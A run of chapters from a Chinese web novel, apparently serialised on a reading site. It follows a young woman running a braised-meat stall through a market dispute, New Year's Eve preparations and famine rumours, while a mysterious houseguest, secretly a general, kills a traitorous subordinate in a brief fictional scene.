《饥荒!前夫一家饿肚肠,我有系统黄金万两》 第一百零五章 借力打力 妇人一愣,忙道:“为什么?”声音中带着急切,仿佛听到什么要命的大事。 妇人身后的老爷子也问:“是啊,为何啊?整条街就你家生意最好。”说着转头看了眼不远处另一个卤肉摊,悄声道,“不用顾忌她,你家味道好,我们只来你家。” 程诺叹口气:“大爷大娘不是我不想来,实在是……哎,都不知道怎么开口。” 老头是明白人:“是不是有人为难你了?” 程诺扯出一抹勉强的笑:“我也不知道灵水镇摊位费是什么规矩,昨天收 15文,今天涨价成 20文,要是按照这个趋势,迟早入不敷出,算了算了,我还是到其他镇摆摆摊吧。” 大娘手握荷叶包,胳膊壮了老头一下,手指了指对面的卤肉娘,不知用眼神示意了些什么,老汉立马心领神会。 看来这条街上规矩不仅摆摊的知道,连顾客都清楚了。 老汉:“造孽,好不容易来了个我爱吃的,劣币驱逐良币,衙门的人管不管了?” 大娘是个直肠子:“管个屁,那些人穿一条裤子的,咱们镇明明靠着官道,往来外地行人不知多少,按理说早应该比周边几个镇子繁盛,你再看看现在,路上有几个摊,都是被这些人带坏了风气,害得大伙儿都不敢做生意!要我说,官府那帮酒囊饭袋……” 程诺咳嗽两声,接过话:“也不能全怪衙门的人,下头人阳奉阴违,中饱私囊的事在哪都有,可惜我们人微言轻,没法认识官府的人,哎,罢了,卖完最后两天,我再寻别的去处吧。” 众人一句唏嘘,又不好劝人留下。 姚头儿在队伍中安静听着,听到手下人利用职位之便谋取私利,心头一阵恼火,在此之前他耳边飘过些许风吹草动,有些人收摊位费会考量摊主生意,他以为是给那些人流不好的摊主减少摊位费,没想到手下人坐地起价,短短一天涨了五文钱。 要不是今日发现,明日是不是得涨到二十五文。 大爷大娘大骂官府时他脸色明显沉下来,羞恼但得顾及府衙威严,正欲发作听到摊主一番不偏不倚的话,心里的怒火平息不少。 姚头儿留了个心眼,怕对方是故意让他听到今天的对话,做生意的心思活泛,越是红火的摊位越是不能小觑了老板。 “客官看着眼生,第一次来吧?要点什么?我们摊上的卤五花销量最好。”程诺笑容一如既往。 姚头儿在铜锅里瞅了一眼,卖相确实不错,光看着让人食欲大增。 “来一斤五花,再来一斤下水。” 程诺:“好嘞,猪血要不要,都是当天现杀的,配上酸菜豆腐,冬日里吃最得劲。” 姚头儿点头:“来一点。” 程诺说:“再送您半斤卤素菜,配面条,泡汤饼,怎么吃都香。” 荷叶包裹后,熟练地接过银锭子递给与华:“给客官找钱。” 姚头儿见她全程神态自若,没有半点慌乱,应该是来镇上时间尚短没见过他,彻底打消心底疑虑。 “我娘爱吃你家卤肉,你以后可不能不来啊。” 说完拎着荷叶包走了。 身后的与华喊道:“客官,还找您二十文钱呢。” 远去的背影没有片刻停留,很快消失在街道口。 待排队人群走得差不多,憋了许久的香囊大娘终于有机会开了口:“程家姑娘,刚那人是姚头儿,你不认识啊?” 程诺眉尾一扬:“谁?是哪个厉害人物吗?” 大娘走到摊位前,小声在她耳边道:“姚头儿是管镇上巡逻的,收摊位费的小子就是他的手下,我瞅着今日情形,你明年还能继续摆摊。” 程诺带来的人流量大,排队的时候,闲得无聊的客人,偶尔也会光顾她的小摊,小姑娘买帕子,大男人给媳妇买香囊,总之,她沾光了。 程诺惊讶道:“真的?要不是大娘说,我还不知道呢。”说着拿出两对鸭翅放在荷叶里,感谢她这几日提供的情报。 大娘被香味熏了好几天,一直没舍得下手,白送上门的,自然乐得接受,回到摊上,选了个绣着“招财进宝”字样的香包送给程诺。 程诺当即跟叮当作响的铃铛挂在一处,看得大娘笑得豁口的牙都露出来了。 隔天再来的时候,对面的卤肉娘不见了,头戴方巾的男人一脸谄媚走过来。 “程老板,生意兴隆啊。” 程诺:“今日摊位费多少啊?十五?二十?” 男人拱手赔罪:“老板误怪,前两日开了个小玩笑,从今日起每天摊位费五文钱,一直到除夕前您都不用再交钱了。” 与华瞪大眼睛,准备掏钱的动作一顿。 程诺皮笑肉不笑:“多谢大哥了。” 男人走后,程云连忙问:“小姑姑,怎么回事啊,这人前两天颐指气使,恨不得用鼻孔看人,今天低三下气像是换了个人。” 程诺将昨天的事简单说了下:“当我们力量微弱时,要学会以力打力。” 与华一脸羡慕地望着程诺:“小姑姑,你好厉害,难怪我娘说你跟家里人不一样,让我跟在你后头多学学。” 本小章还未完,请点击下一页继续阅读后面精彩内容!程诺晃神,顾氏还会在孩子面前夸她呢。 “你娘还说我什么了?” 与华:“娘说小姑点子多,会做生意,女子就应该跟小姑一样,有一技之长,能不依仗任何人,要能养活自己。” 程云笑道:“我娘从前也说小姑跟家里人不一样。” 程诺:“……” 赵氏从前对她的评价八成不是什么好话,她不听也罢。 两日时间转瞬即逝,除夕来临。 家里人的新衣也忙活差不多,孩子们兴高采烈试着新衣服,在床踏上蹦跶。 岁末的最后一日赶集,程诺没出摊,选择带上家人一起出门,忙活两个月没时间陪小盼儿,今日好好补上。 出门前她给了盼儿二十文,让她到集市上可以买想要的东西。 今年除夕是特殊的一年,程云、金玉、珍珠和与华荷包从未像今日这般鼓过,花自己赚来的钱,就是底气足。 与君一如既往没有出门,与华劝说好半晌,也没有动摇顾寒栀不肯他出门的决定,没办法只能贴着哥哥耳朵说,回来给他带好吃好玩的。 武氏给自己和两女儿换上新衣服,冲着大缸里倒映的人影美了半天。 赵氏怕街上人多,把新衣服弄脏了,还穿的那身褐色麻布袄子,虽不敞亮袖口还有补丁,胜在干净。 “大嫂,一年到头难得出门一趟,也不捯饬捯饬。”武氏在耳朵上戴上银耳坠,又拿出两根绒布做成的木簪,仔细插在金玉和珍珠发髻上。 赵氏:“一把年纪给谁看,你愿意折腾你就折腾。” 武氏翻了个白眼,继续美去了。 陶诚还小,不适合出门,阿盼头摇得跟拨浪鼓一样,甚至在程诺提议时,眼里露出一丝惊慌。 不知是不是程诺的错觉,她总觉得阿盼在躲着什么人,偏他嘴严得跟缝上一样,问不出半点东西,看在他手脚还算勤快的份儿上,程诺暂且再收留他一段日子。 至于捡回来的男人…… 程母一脸欣慰地理着男人修长脖颈旁的衣领:“好看,大小正正好,把原先那件破烂丢了吧,新衣裳还得是你们年轻人穿上合适。” 一旁的程老头吧嗒吧嗒抽着旱烟,眼底浮现一丝幽怨。 程诺看着男人身上崭新的百草霜色袄子,虽是最不值钱的麻布,却被他穿出一股锦衣华服的贵气,优越的头身比让人眼前一亮,除了有些瘦,其他堪称完美。 程诺不着痕迹移开在男人身上打量的视线:“娘,布料是给我爹买的。” 程母:“他一个老头子,穿点旧的得了。” 程老头鼻尖哼哼:“你也一把年纪,为何给自己做了件新的?女儿给我买的料子,凭啥穿在这小子身上……”最后几个字程老头嗡里嗡气。 他不是小心眼舍不得,毕竟是女儿头一回给家里买料子,所有人过年都穿新的,他好歹一家之主,不要面子的吗? 程母圆眼睛一瞪,程老头立马没话了。 女爱俏,十八是这样,八十还是这样,终究是他容颜老去了…… 程母若知道老头子心里不着调的腹诽,一定将廊下的扫把塞他脑袋里。 “十七,一起上街逛逛吧,来咱们村这么久,还没出过远门吧?” 程诺原以为他不会同意,没想到男人点点头,似乎早有此打算。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百零六章 武氏与人干架 “屠苏酒,屠苏酒,来年百病不用愁。” “杏仁糕、莲蓉糕、蜜饯糕,新年步步高升,前程似锦呐~” “花开富贵、竹报平安,鞭炮爆竹降价卖喽~” 商贩将压在手里的货推了出来,指望在今日清仓,一改往日的冷淡,鞠着一张灿烂如花的笑脸,对每一个路过的行人亲热地呼喊起来,街边小贩像是哞足了劲儿比拼,喊声一阵高过一阵。 金玉珍珠、程云与华,捂着耳朵从旁经过,一个个脸都笑烂了。 赵武二人和程母,一人提一个小竹篮子,走到中意的摊位前,询价讨价还价。 “燃香怎么卖?”程母问。 “十文钱一把。” “除夕了,还卖这么贵。”程母道,“便宜点,天越发冷了,年后囤家里也得受潮,不如便宜点卖给我。” 小贩思量一瞬,后退一步:“那九文。” 程母摆摆手:“六文,我买五把。” 双方你来我往,讨价还价多番后,又上演一出我走你留的老戏码,终于让程母以三十五文钱,买下五把燃香。 赵氏在另一边请神像,最后用二十文请了福禄寿三星像,打算回去挂在正堂。 武氏一头钻进卖珠花和香囊的摊位前,挑挑拣拣嫌这嫌那,最后将好脾气的摊主都弄烦了,双方起了口交。 小盼儿跑到程诺面前时,她正跟卖屠苏酒的商贩讨论储存方法,袖子突然被人抓住:“娘,三舅母跟人吵起来了。” 程诺叮嘱程云:“看好妹妹们,我去看看。” 簪花小摊前,两个妇人已经从口水仗升级成打架,双方互不相让,揪头发撕衣裳,周边围了一群看戏的百姓。 “这妇人不老实,把人家簪花掐坏了,想用次品价格买下来,被摊主抓到了。” “大过年的,遇上这样的客人,倒八辈霉了。” “哎哎哎,妇人家里人来了,不知道她家人讲不讲理,这不比看折子戏有意思……” 程诺赶到时,两个打架的女人已被人拉开。 摊主是个看上去五六十岁的妇人,也可能没这么大,只是脸上饱经风霜,一瞧便知是苦出身。 程诺一眼认出,这不就是灵水镇摆摊,在她家摊位旁卖香囊的大娘吗。 此刻头巾掉了,头发散了,上头的簪花掉在地上不知被谁踩了一脚,混上淤泥不能戴了,脸上多了道新鲜抓痕,正咕咕往外冒血。 武氏没比她好多少,新做的衣裳领口撕开个大口子,打架时还被对方吐了几口浓痰,此刻淅淅沥沥挂在新衣服上,恶心不已。 “啊!”武氏一声尖叫满含怒火,“不长眼的老畜生,我新做的衣裳!” 大娘心疼地看着满地的簪花,这可都是她从店里赊来的,如今羽毛花簪上的白毛沾了泥水脏污不堪,绒花被踩踏花枝压扁,彩纸做成的更不用说,沾了水已经成了一团废纸。 叉腰冲武春来大骂,“你是哪家的歹妇,没爹没妈没人教养吗,净干些偷鸡摸狗的勾当,什么样的人家倒了八辈子血霉娶了你,你要是我儿媳妇,我定让我儿子一榔头杵死你!” 武氏不甘示弱:“你儿子还想肖想我,看你穷酸落魄样,就知道家里穷得连老鼠都不光顾,怕是儿子一把年纪还打光棍吧,哪只眼睛看见我手脚不干净,小心我撕了你的嘴。” 这时,程大壮程二顺,以及程母和几个小的都赶了过来。 武氏顿时腰杆硬了,双手环胸理直气壮:“瞧见没,我两兄弟和一家子都在这儿,再敢胡说,扭送你去见官!” 程大壮程二顺都是人高马大的长相,往哪儿一站,确实很唬人,加上程母面相不善,怎么看都是她落下风。 大娘一屁股坐在地上,双腿直瞪,要不是几日前刚下过雪水,她定要在地上滚一圈。 “没有天理了,做贼的理直气壮,仗着人多,欺负我一个没依仗的老婆子……” 人群中议论纷纷,都觉得大娘今天要倒霉了。 却见围观人中走出个女子,弯腰要将地上撒泼的人扶起来。 “大娘,大娘,地上凉,有话我们好好说。” 大娘气得眼里都是泪,突然看到程诺,像是看到救星:“程姑娘,呜呜……程姑娘,这个不要脸的小贱人把我摊掀了,他们一家子仗势欺人,你帮帮我……” 武氏乐了,仰天大笑两声,像是听到笑话:“老贼婆,你求谁呢,这拉着的是我小姑,我是她同胞兄弟的媳妇,她亲嫂子!” 此话一出,人群中又是一阵唏嘘。 大娘脸一怔,默然回头看程诺,见她没反驳,心拔凉拔凉。 她虽跟程诺认识,两人做了几天邻居,有些许互换东西的交情,却远没到亲人地步,对面是她嫂子,大娘眼一闭,打碎牙齿往里吞,今日注定倒大霉了。 大娘将胳膊从程诺手上抽回,倨傲道:“你也是来帮这泼妇的?我原觉得你是个不错的姑娘,应该是好人家养出来的,没想到……” 程诺:“大娘,你先起来,我瞅着地上的绒花有些还能用,先算算损失,若真是我嫂子的错,我家不会赖账的。” 这章没有结束,请点击下一页继续阅读!武氏一听,脸色一变:“程四娘,你胳膊肘往外拐呢,娘,你瞧她呀,不向着我就算了,还帮着外人对付我。” 程母不清楚原委,抓住金玉问:“你一直跟着你娘,说,到底回事?” 金玉在武氏的眨眼威胁,程母的凝视,以及卖花阿婆的愤恨中,脸红得羞愧发烫:“我……我娘……” 让她在大庭广众下指认亲娘的不堪品性,她说不出口,这比杀了她还难受。 程诺冲程母道:“娘,金玉是个孩子什么都不懂,其实不用这么麻烦,刚才摊位前肯定还有其他顾客。” 此话一出,两个方才挑簪花的小妇人站了出来。 在二人开口之前,程诺冲人群道,“让大伙儿看笑话了,我跟卖花大娘是熟识,下面的事我们私下解决就行,新年大吉,前面摊位还多,大伙儿玩得尽兴。” 这是不让大伙儿看热闹的意思。 众人观察卖花大娘的神色,见她没有异议,应当是赞同私下解决的提议,想到自家还有不少年货要准备,哄闹一声后散得差不多。 卖花大娘见程诺的态度,不像要偏私,方才冷淡的口吻柔和下来,说着说着忍不住带了哭腔:“程丫头,我天没亮就从灵水镇赶过来,为省下两文路费,走到清河镇双腿都打摆子,这些簪花是我从店里赊来的,等着卖出去结尾款,现在全毁了……” 武氏还要狡辩:“我……” 被程诺冷似刀的眼神吓得吞回肚子。 “三嫂,你是自己认下,还是我让这两个年轻婶子指认,没了钱是小事,没了脸面,日后在孩子面前如何立足?”程诺走到武氏面前,声音不大,语调也淡淡的,武氏却觉得脊背发凉。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百零七章 杀人 两小妇人鄙夷的眼神藏都藏不住,若是她们添油加醋扣上莫须有的罪名,她处境岂不更艰难,武春来吞了口唾沫润润干涸的喉咙,视线瞥向身旁的家人。 两大伯和婆母没有要帮忙的意思,几个小的还一脸懵懂,女儿金玉视线跟她对上,立马移开,武氏在里面看到失望和丢人。 武氏扯了扯唇角,疾步上前蹲地捡起脏污的簪花和香囊,打起圆场:“我的错,我的错,农活儿干多了手里全是老茧,不小心弄坏了簪花,我这人脾气不好嘴也贱,两句话上了头手脚不听使唤,该骂该骂,老婶子你来合计合计,卖不出去的簪花,我、我都买了。” 此话一出,卖花大娘松了口气,对方有意示好,又肯赔偿损失,她借坡下驴,看在程诺的份儿上不想多为难。 双方一合计,损坏卖不出去的簪花一共十三朵,每朵进价是八文钱,最后以十文每朵价格核算,一共给了一百三十文。 武氏的心在滴血,还想再讨价还价,在程母略带威胁的眼神中,松开拽得指尖泛白的钱袋子。 程诺从绒花中选了两朵卖相尚可的,递给一旁作证的两小妇人:“这两朵是绒花做的,虽然压瘪了,但是没坏,两位姐姐戴个新鲜。” 小妇人忙摆手,她们什么都没干,话都没说两句,怎么能平白收东西。 程诺坚持塞进两人的提篮里。 两小妇人相伴离开,路上遇到方才看热闹的行人,有人问事情最后怎么处置的,手脚不干净寻衅滋事,有没有报官。 小妇人摸了摸手上的绒花,道:“误会一场,报什么官啊,大过年的,以和为贵。” 另一个已经将绒花戴到耳鬓,说:“一个脾气暴,一个嘴上狠,碰一处可不得干起来,往日里见多了,好在那家人是明事理的,愿意赔偿损失,小事一桩,不值当说嘴,走了走了……” 众人一听顿觉没意思,没半晌,跟脑海中刮了阵风似的,遗忘了个干净。 闹剧散场,武氏捧着一堆烂花,脸气成猪肝色,衣服也被扯烂了,要多狼狈有多狼狈。 赵氏嫌丢人,早早去镇口等小李的牛车。 程家其他人也没了继续闲逛的心思,打算再过半个时辰打道回府。 临走前,程诺将提前从家带来的一件夹了棉花的袄子送到住在北市穷人巷的龙五手中,袄子外皮是程二顺换下的旧衫,里面棉花是新的,适合他所处的环境,不用担心好东西扎眼被人惦记。 龙五告诉她个消息:“小诺姐,我瞅着今年天气不大对劲,小的时候,我没跟家里人逃荒前,村里有一年冬天也很冷,刚开始大伙儿没在意,谁想到某一天突然暴雪连下个把月,地里庄稼全冻死,湖水结冰,鸟兽飞尽,没多久就闹起饥荒。” 听他一提,程诺确实许久没瞧见天上有鸟雀飞过,连这几天出太阳,也罕见偷食农户庄稼的麻雀。 书中并未提过暴雪,清河镇也不曾出现饥荒…… 但近半月,大梨村出现不少异样,先是来得比往年早得多的寒冬,接着是河道里不怕死往岸上蹦跶的大鱼,还有地里明显涨势颓丧的庄稼。 程诺带着疑虑去镇门口坐车,刚好看见十七从一道巷口出来。 她歪头看了眼男人身后落败的墙垣:“干什么去了?” 他从进镇后就跟程家人分开,武氏打架闹出那么大动静,也没瞧见他的身影。 十七脸不红心不跳:“腹痛,找地方如厕。” 程诺眯了眯眼,二人前后脚往牛车方向去。 牛车驶离没多远,镇中落败破旧的小巷内,突然传出一声尖叫:“死人啦!” —— 刚推开院门,与华带着两串糖葫芦和一包杏仁糖跑回东屋:“三哥,我给你买了好吃的。” 半开着的窗棂里,与君的脑袋几乎同一时间伸了出来,程二顺紧跟其后,将买来的毛笔和新纸张铺在书案上:“先用着,没了爹再去镇上买。” 武氏心疼打水漂的一百多文铜板,看了眼篓子里被泥水脏污到看不清本色的簪花,气得连嘲讽二房读书无用的心情都没了。 跑回屋里,抱着被褥期期艾艾哭起来。 程三虎没去镇上,不知道发生什么事,见其他人或多或少脸上带着笑,只有自家媳妇不笑反哭,拉住金玉询问一番才知武氏干的好事。 “爪子轻,心思坏,活该赔钱。”程母啐了一口,“今晚不许给她饭吃,不涨涨教训,下次还敢!” 程三虎心里虽气,但毕竟是自个儿媳妇:“娘,今天是除夕,晚上要吃年夜饭的,不上桌寓意不好。” 程母瞪了他一眼:“再敢说一句,你也别吃了,全给我饿着!” 程三虎立刻闭了嘴,除夕伙食最好,不能没有他的份儿,至于媳妇,算了,谁让她做错事,受罚是应该的。 赵氏憋住快到嘴边的笑声,道:“娘,我去准备年夜饭了,还跟之前说好的一样,吃包子,然后主菜是酸菜炖排骨。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!程母扫了眼赵氏跨在胳膊肘的篮子,里面只买了三张神像,其他几样也是家里常用的东西,不像武氏,手上有点闲钱,不是想着图嘴上快活,就是想着簪花戴银。 双方一作对比,程母对这个能干又顾家的大儿媳妇越看越顺眼,语气跟着和缓下来:“行,你看着办,我换身衣裳马上来帮你和面。” 程诺让珍珠带小盼儿一起去玩,洗了手跟着进厨房,开始准备从面袋里往外舀面,脑海中飘过龙五的叮嘱,不由开了口:“大嫂,家里还有多少存粮?” 赵氏正在准备包子馅儿,先将萝卜剁成片,再改刀成丝,闻言思索一瞬:“米面五六袋,大概一百来斤,吃到初六开工不成问题。” “家里的窑洞呢,存了多少蔬菜和肉?”窑洞程诺没去过,一直是程母看管,上头放了一把大锁,钥匙也在程母手上。 赵氏将切好的萝卜泡水清洗,转头切起半肥半瘦的猪肉,笑道:“咱家窑洞东西不少呢,光猪肉就有上百斤,之前杀猪的排骨,筒骨,还有你说不适合做成卤肉的部位,全被娘腌成咸肉,或者香肠,在阳光下晒了几日,正在地窖风干,还有地里的萝卜、白菜、红薯,够咱们吃个把月呢。” 个把月,没有暴雪天灾还好,若是真如龙五所说,天公不作美,这些粮食远远不够。 馅料下锅翻炒时,程母换上一身干活常穿的灰黑葛衣进厨房,看见程诺在揉面,径直走到灶膛烧火。 “聊什么呢?”程母问。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百零八章 叛主 程诺看了眼她手中的柴火:“在聊家里的粮食柴火够用多久。” 程母转身望向背后垒得有成人高的柴火堆,道:“半个月没问题,到时候再去后山砍柴,等天气暖和点,山上柴火比现在容易点燃,没有这么废。” 馅料起锅,程母和程诺忙着包。 程家现在八个孩子,十个大人,加起来十八张嘴,包子一笼蒸十个,至少得蒸五笼,五十个才够吃。 程诺突然觉得百来斤粮食,消灭起来分分钟的事。 赵氏从缸里掏出一把酸菜,就着锅里的热气,舀一盆凉水洗干净排骨,焯水去血沫,捞出沥干,接着再洗酸菜。 切好的排骨搁置在脸盆大的饭碗里,家里人多,所有东西用料都扎实,锅底多余的水烧干净,灶延有些许白烟飘出,油罐倒油,加入姜片蒜瓣去腥,排骨倒进锅里爆炒,排骨变色再加酸菜,加水淹没排骨焖着,最后把包好的包子放进蒸笼,架在锅上蒸。 “这两道菜耗时长,先炖着,再做一道蘑菇豆腐汤,一个韭菜炒鸡蛋,还有重口些的豆芽毛血旺,黄豆我已经提早泡发了,吃两顿没问题,再给孩子们用豆腐渣做道发糕当点心。” 豆腐是今天没上街的程三虎和程老头一起磨的,磨了一整袋黄豆,一不小心磨多了,做出百八十斤老豆腐,还有五六十斤豆腐渣,好在天气冷,屋外放一晚上直接冻上,不担心会坏。 “再去杀只鸡,过年不能没有鸡。”程母说了一句,程诺放下手上摘的韭菜,拿起刀走向鸡笼子。 鸡笼里如今只剩下六只鸡,多数进了程三虎和十七两个病人嘴里,留下的大多是程诺当初从孟家带回来的芦花鸡。 因为生下的蛋,营养价值高,一直留到现在,今晚有一只是见不到明早的太阳了。 程诺磨刀在石槽上霍霍两下,径直走向鸡,芦花鸡似感受到生命被威胁,扑腾着翅膀咯咯尖叫起来,栅栏里饲养的两头猪感受到鸡群的狂躁,跟着哼哼两声,见到程诺手中的刀,吓得闭上嘴,挤进角落里,降低存在感。 十七从茅坑回来时,看到的就是拎着刀在手中挥舞的程诺,目光如炬盯着鸡窝里的六只鸡,表情似在思索送谁上路,那模样跟某次夜里出现在他梦中时一模一样。 珍珠突然小跑过来:“姑姑,小诚诚拉裤兜子了。” 程诺伸出去抓鸡的手一顿,陶诚不是会上厕所了吗,怎么还拉身上? “冬天穿的裤子厚,没来得及脱下来。”珍珠想起刚才一起玩耍,突然男孩焦躁得手忙脚乱接裤腰带,结果打成死结的画面,飘出的屎味,仿佛就在鼻尖,嫌弃地扇了扇空气。 程诺:“裤子现在脱了吗?” 珍珠无奈地摊了摊手:“没有,他不让人碰,还哭鼻子了,真不害臊,我跟他一样大的时候,早不尿裤子了。” “我去看看。” 程诺走出两步,想起还没杀的鸡,回头跟身后不知站了多久的男人对视上。 “你会杀鸡吗?” 十七眉心一紧,“不”字没说出口,手上塞过来一把菜刀。 “随便选一只不顺眼的,宰了洗干净送给我娘。” 继上次洗猪大肠后,某人再一次贡献生命第一次。 第一次杀鸡。 尖叫的鸡,在手里逐渐停止挣扎,喉管被放血,丢在地上,间或还会抽搐两下。 鸡血溅在手指上是温热、腥气的,跟人血无异。 男人望着泥地上彻底没了呼吸的芦花鸡,思绪逐渐飘远。 下午,程家人在清河镇市集闲逛时,他拐道去了一条人迹罕至的旧巷。 接应的男人等候多时,见到他情绪颇为激动:“属下青竹,参见都督,袁都督,您让我们好找。” 十七视线扫过四周,确定无人,才道:“信号发出去七八日,为何只有你来了,赤练和墨圭呢?” 赤练和墨圭一直跟在他身边,是最亲近得力的手下,发送信号到接收回信,时间足够他们赶往清河镇。 青竹不过是名百户,平时在千户赤练手下当差,连见他一面的机会都不多。 “赤千户追查袭击您的那帮人,在辽东一带被困住手脚,派遣属下接您回去养伤,袁都督,属下观您气色还不错,是否身上的伤已经痊愈?”青竹目光在男人身上逡巡,最后停留在腰腹位置,视线森然。 男人恍若没瞧见眼前人的异样,摇头:“那伙贼人武艺高超,似是专门训养的死士,刀刀致命,我受了伤,加上没有得到妥善的养护,短时间使不了力道,最好能找辆马车来。” 青竹嘴角浮现一丝几不可查的笑意,从前驾马驰骋威风凛凛的袁都督,何时出行需要用上车马,看来真是伤得不轻,连骑马都不行了。 “自然,车马已经在路口备好,都督您先请。”青竹语调恭敬,却在男人转身刹那,拔出腰间的匕首,直直朝后背袭去。 没等他插进背脊,眼前人突然闪躲避开刀锋,还没看清楚动作,手上的匕首被人一脚踹开,空中翻滚几圈落进几丈外的淤泥地里。 十七自青竹身后掐住他的脖颈,双指陷入咽喉,稍稍用力便能取人性命。 掐住他的手指冷得像吐信子的蛇,让人不寒而栗,耳边响起男人含笑的声音:“胆子不小,偷袭?在我帐下待了这些年,狐狸尾巴都藏不住,当真废物一个。” 青竹脸色从清白到涨红:“你、你是如何发现的?” 十七不介意让他死得明白:“一上来打探我的伤势,知道我重伤不治,第一反应是松了口气,怎么,怕我有能力还击,误了你向新主子邀功讨赏?” “就因为这?”青竹仍旧不死心,只差一点,差一点他就能杀了他,差一点他离荣华富贵唾手可得,他怎能甘心。 如今朝堂上多少人想让男人死,青竹若杀了他,是光宗耀祖福荫子孙的大功一件,别说是当千户,就是一军指挥使也是有可能的。 十七:“你太蠢,雇佣你来杀我的人更蠢,像是这种叛主的东西,根本不应该活在世上。” 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百零九章 你娘很喜欢我 青竹没有求饶,他知道男人的性子,越是平静得如雪藏深海,越是难以窥其隐匿下的冷峭,落在他手上,几乎无生还的可能,但他还是想尽力一试。 “哈哈哈……袁都督,属下不过是顺应时势,说到判主,谁是你我的主子?普天之下莫非王土,率土之滨莫非王臣,连你都是皇家的一条狗,一条用完了可以随时舍弃的狗。” 十七平静地看着他:“你想说是陛下要杀我?笑话!” 青竹神情突然变得有些意味深长:“袁都督,我的袁大将军,属下命都在你手上,还有撒谎的必要吗?你躲在这等凄凉地,怕是不清楚京中局势吧?袁家十日前,已经被陛下以谋反之名抄了家,您的父亲袁大人生死未卜呢。” 在程家养伤,等待手下寻过来的日子,十七隐约感觉到不对劲,从收到回京诏令,他自边境一路赶回,三番四次的刺杀,无疑不透露出身边人里出了内鬼。 若青竹的话是真的,陛下一早对他起了忌惮之心。 他自认韬光养晦,远离朝堂纷争,不涉党争却还是逃不过权利倾轧,是招揽不成恼羞成怒的大皇子,是心思诡谲不肯容人的三皇子,还是龙椅上笑意盈盈意欲给新君扫清障碍的天子。 不管是谁的有意构陷,他身边的人,下场可想而知。 袁家人他不在乎,那座吃人的宅院并无他惦记的人,只是跟随他一同征战沙场的将士,他亲手提拔的将士,会不会因他受到牵连。 谋反? 真是好大一顶帽子。 夜色来临,有冷风拂面,灶台间亮起油灯,一小团光照应在窗户上,像是细微浪花淹没在黑夜的海潮里。 凉透了身体的芦花鸡躺在脚边,一如白日里死在他身旁的青竹,死不瞑目,满心怨恨,可惜毫无还手之力。 他在青竹身上找到传信哨子,引来飞鸽,这么多年过去,军中沿用的还是当初他设计的那套方法。 亲自将自己生死的消息送出去,瞒得了一时,未必能瞒过一世。 “杀完了?”清亮的女声自身后响起,将十七从回忆里拉回,“死透了?” “死的透透的。”十七道。 程诺望着满地鸭血,心疼道:“鸭血别浪费啊,乡下食材很宝贵的,你到底是哪里来的公子哥?” 十七一噎,捡起地上的鸡:“我下次注意。” 程诺冷冷盯着他。 他神色淡淡,不为所动。 须臾,程诺突然朝前走两步,掐住鸡的脖子,神情骤然一变:“镇上的命案,跟你没关系吧?” “我不明白的你的意思。” “刚才小李来过,说镇上西南巷子里发生命案,死者被人掐住咽喉窒息而亡,你,今天也去过那边的巷子。”程诺声音平静得像是在跟他讨论今天的天气,而不是一个人的生死。 十七神情并无半丝紧张,更无被人戳穿的局促,更像是个局外人:“哦,死在新年前一天,当真可惜,我若在现场,兴许能帮忙喊个人,让他见到明早的太阳。” 手掌被一把扣住,程诺摩挲着男人食指指腹明显的厚痂,以及掌心喇手的触感,道:“你的手指很像我三哥,他常年上山打猎,习惯射猎,你的痂呢,从何而来?” 男人反手握住她的手腕:“程四姑娘弱女子一个,听闻从前懒惰成性,如何短短时日,成了精明女老板,这份突如其来的变化,从何而来?” 程诺:“不管你是谁,为什么会受伤,新年过完,立马从我家离开。” 十七甩开他的手:“恐怕不是你说的算。” “什么意思?” “你娘很喜欢我。”十七往前进一步,“她担心你嫁不出去,正谋划着让我当个候补。” 程诺有些头疼,声音不复方才的淡然,语调颇有些咬牙切齿:“那你更得走了……” 她不怀疑男人话中的真实性,为了把她嫁出去,程母无所不用其极,最后哪怕是再招赘,也完全有可能。 程母见程诺杀了个鸡,迟迟不回来,走出来一瞧,见到院中挨得很近的两个人,忙又缩了回去。 赵氏看她一脸笑意,不解:“娘,什么事乐成这样?” 程母食指放在嘴边,浮出个意味深长的笑。 年夜饭烧好,过年就不在灶房里吃了。 “走,把饭菜端到堂屋去。” 此时天已经黑了,各家各户烟筒里飘出香味,一年之中吃得最好的就是除夕夜。 程家人许多年没像今年这般热闹,往年的饭菜也远没有今晚丰盛,一切都得感谢归家的四女儿。 程诺将买来的屠苏酒倒在碗里,一坛酒刚好倒了一圈,她抿了一口尝尝,酒味不醇厚,又给程云、与君两兄弟倒了些,盖住碗底。 其他几个小的,碗里倒的梅子汁,也是今天集市上刚买的,酸甜可口,小孩爱喝。 “来,我们大伙儿举杯喝一个,这是我们全家聚的最齐的除夕,今年还多了三个小兄弟,欢迎你们,庆祝新年新气象,来年万事顺遂,大吉大利。”程老头率先端起碗,跟程母碰了碰,很快三个儿子挨个碰过来,发出不算清脆的叮当声。 “预祝我们以后的路越走越宽,卤肉生意越来越好,生活越来越有奔头。” 程云也给叔伯爷奶举杯,眼睛亮晶晶的,笑起来有两个可爱的酒窝,双手捧碗一口气喝尽。 “不错,小云以后酒量不差。”程大壮比了个大拇指。 程云骄傲地昂了昂脑袋,与君也端杯说了两句吉利话,只是比起程云显得内敛得多。 “吃吧,今晚包子多,敞开肚子吃。”程母笑着给众人分包子。 院中笼子里的鸡,似是闻到香味,开始不安分地叫起来,连一大一小两只猪也在供槽,浑然忘了不久前同伴刚在眼前被宰了。 程诺抓了一把豆渣洒在地上:“过年,你们也吃点好的,来年多下蛋。” 芦花鸡只剩下母鸡,咯咯叫起来,爪子在地上扒拉来扒拉去。 猪食材里也添置了缠在黄豆、酒糟的食料,主打一个今晚人畜皆吃好喝好,饱饱地奔向新的一年。 当天晚上,程诺又做了个梦。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十章 再做噩梦 这次的梦,比前两次更真实,她仿佛置身在冰天雪地之中,切身体会到冰冷刺骨的寒意。 